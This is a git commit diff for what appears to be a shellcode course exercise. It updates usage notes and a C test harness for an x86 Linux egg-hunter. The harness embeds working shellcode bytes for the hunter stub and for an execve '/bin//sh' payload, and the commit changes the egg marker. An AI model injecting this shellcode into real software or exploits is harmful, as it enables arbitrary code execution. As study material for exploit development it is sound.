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minor updates

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arno01 2013-03-27 16:48:19 +01:00
parent 7a26aee784
commit c14daff63e
2 changed files with 7 additions and 5 deletions
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8
exam3/USAGE
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@ -7,10 +7,11 @@ I'm using a symlink as follows
exam3$ ln -svf payload-execve-stack.nasm payload.nasm exam3$ ln -svf payload-execve-stack.nasm payload.nasm
`payload.nasm' -> `payload-execve-stack.nasm' `payload.nasm' -> `payload-execve-stack.nasm'
2. Compile the shellcode with a custom "egg" (must be 8 bytes in length) 2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
exam3$ ./make.sh exam3$ ./make.sh "egg.mark"
[I] Argument not specified. Using default EGG mark. [I] Using custom EGG mark: egg.mark
[+] Compiling payload.nasm ... [+] Compiling payload.nasm ...
[+] Compiling hunter.nasm ... [+] Compiling hunter.nasm ...
[+] Extracting PAYLOAD code from payload ... [+] Extracting PAYLOAD code from payload ...
@ -19,9 +20,10 @@ exam3$ ./make.sh
[+] Extracting HUNTER code from hunter ... [+] Extracting HUNTER code from hunter ...
[+] Checking HUNTER code for NULLs ... [+] Checking HUNTER code for NULLs ...
[+] Compiling shellcode.c ... [+] Compiling shellcode.c ...
-rwx------. 1 arno arno 5100 Mar 27 16:46 ./shellcode -rwx------. 1 arno arno 5100 Mar 27 16:47 ./shellcode
[+] All done! [+] All done!
3. Run the shellcode 3. Run the shellcode
exam3$ ./shellcode exam3$ ./shellcode

4
exam3/shellcode.c
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@ -1,11 +1,11 @@
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
unsigned char hunter[] = "\xeb\x16\x58\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0\xe8\xe5\xff\xff\xff"; unsigned char hunter[] = "\xeb\x16\x58\x40\x81\x78\xf8\x65\x67\x67\x2e\x75\xf6\x81\x78\xfc\x6d\x61\x72\x6b\x75\xed\xff\xd0\xe8\xe5\xff\xff\xff";
unsigned char garbage1[] = "Just some garbage here..."; unsigned char garbage1[] = "Just some garbage here...";
unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char payload[] = "\x65\x67\x67\x2e\x6d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
unsigned char garbage2[] = "And some garbage there..."; unsigned char garbage2[] = "And some garbage there...";